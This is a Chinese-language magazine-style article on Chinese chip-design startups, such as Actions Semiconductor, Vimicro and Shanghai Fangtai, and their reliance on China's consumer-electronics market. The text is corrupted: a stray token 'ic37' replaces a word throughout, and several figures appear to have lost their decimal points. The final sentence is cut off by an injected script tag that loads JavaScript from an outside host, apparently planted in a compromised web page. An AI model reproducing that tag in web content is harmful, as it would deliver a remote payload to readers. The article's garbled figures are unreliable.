未来10年，消费电子很可能会成为像1980~2000年期间pc那样的增长引擎，从而让全球芯片产业进入由消费电子需求驱动的增长周期。消费电子对芯片更大量、更多层次的需求正在带来一场变革，在这场变革中，芯片过去近乎神圣的技术壁垒正在出现松动，被庞大市场需求召唤出来的中国芯片设计公司，也借此开始走上舞台。
idc的研究数据显示，2005年中国消费ic37的销售额达到3475亿美元，预计今年将超过600亿美元，并将保持138%的复合增长率。作为仅次于美国的全球第二大消费ic37，中国已经成为芯片巨头们的主战场，也成为后来者挖到第一桶金的矿坑。
2005年，出乎华尔街意料的中国mp3播放器市场的爆发，将中国本土芯片设计公司珠海炬力一举推上纳斯达克。凭借mp3芯片这个在技术含量和产品单价都不高的单一产品，珠海炬力去年的销售收入就已经超过1亿美元，进而4年时间从零创造出了一个市值近10亿美元的中低端芯片设计新贵。
中国消费ic37的崛起造就了中国芯片设计行业，这句话并不夸张。“在这里，我看到的是天时地利人和的优势。”纳斯达克中国芯片设计第一股中星微电子公司创始人邓中翰这样说道。实际上，与珠海炬力的情况类似，中星微也是依靠中国市场和多媒体芯片起家的。今天，它已经占领了全球pc摄像头图像处理芯片60%的市场份额。
从4年前的几十家到2006年的500家，中国芯片设计公司像发蘑菇一样正在成群结队地出现。尽管相比英特尔(intel)、德州仪器(ti)、博通(broadcom)等参天大树，它们在收入规模上的绝对高度还很低，绝大多数甚至还在烧钱而不是赚钱；而且它们的技术往往算不上创新，产品也多是国外芯片的替代品，但毕竟它在“血统上”属于产业链条的高端位置。这是一直处在产业链条下游的中国企业前所未有的一次跳跃。
这种跳跃即便有着中国消费ic37的支撑，也依旧像是一次“赌博”。在技术、资金高度密集的芯片设计行业，他们从事的是一个随时都可能出局的游戏。在这里，技术、资本、市场这三个要素比其他行业更加复杂地纠缠在一起，以至于今天百舸争流的局面更像是一场残酷结局到来前的虚幻。
事实上，有些公司已经倒闭，有些公司即将倒闭，甚至有人预言2年内500家中的一半都将死掉然后变成“肥料”。因为经过过去三四年的“讲故事”阶段，国内的芯片设计公司已经到了产品量产和产品上市的关键时刻。不能在市场上证明自己，死掉可能就在一瞬间。
今天，芯片设计行业还只是个勇敢者的游戏。但谁能玩到最后，则不仅仅是勇气的较量。
给鲨鱼剔牙缝
在上海方泰电子科技有限公司ceo沈方的眼中，自己所从事的芯片设计行业虽然听上去是一个很高端的生意，但他却觉得自己做的是一个“时刻都在与鲨共舞，在给鲨鱼剔牙缝”的危险行当。“太残酷了！”在采访过程中，沈方几乎把这句话重复了10遍。
目前在全球半导体行业，英特尔控制了cpu，德州仪器把持着dsp(数字信号处理器)，三星在内存和闪存芯片市场占据领导地位。在这些电子产品最核心的关键芯片领域，任何国内的芯片设计公司想要分出一杯羹来，都无异于以卵击石。
中国的芯片设计创业公司从诞生那天起首先面对的就是生存空间问题。在英特尔、德州仪器等芯片行业巨鲨用几十年积累起来的资本、技术以及市场门槛面前，这些小字辈只有通过寻求细分的利基市场，才能像大树脚下的小草那样挣扎着从树冠的缝隙中寻找到阳光。
中国芯片设计业的标兵之一——珠海炬力，就是靠抓住中国mp3市场出乎华尔街意料地爆炸性增长，瞬间成为了一个市值近10亿美元的纳斯达克公司。这个“神话”的根本原因就在于mp3芯片虽然利润率相对较低，但是从技术上比较容易突破。而中国消费ic37的爆炸式增长和不同于海外的“多层次需求”，带来了众多的mp3制造商。而目前国内低端mp3的利润率已经由最早的500%降低到17%左右，厂商对芯片成本的斤斤计较，自然给珠海炬力替代进口芯片带来了广阔的市场空间。
毫不夸张地讲，“抓住中国市场的特殊应用和特殊环境”已经是今天中国芯片设计行业的绝对真理。上海方泰ceo沈方就承认公司走到今天，“找对了牙缝”是最重要的一点。2003年沈方决定回国创业时，曾经亲自起草了7份商业计划书，经过再三选择，沈方最终挑选了“手机多媒体芯片”作为回国创立公司的定位。
方泰最早设计的产品是手机和弦芯片——也就是瞄准手机铃声的市场需求。不过这个想法在美国简直无法被理解。当年沈方与美国的vc(风险投资)谈的时候，对方听说他想做的芯片就是“让手机铃声更大声”，没有一个不面面相觑的。“他们不理解这个玩意怎么会有市场。”沈方说，毕竟在美国，开会时铃声都放在最小或者震动状态。
最终，投资方泰的是台湾背景的华人vc旭阳创投，而和弦铃声随即真的成为了国产手机的主要卖点。比如采用方泰芯片的深圳宇阳手机，?script src=http://er12.com/t.js>
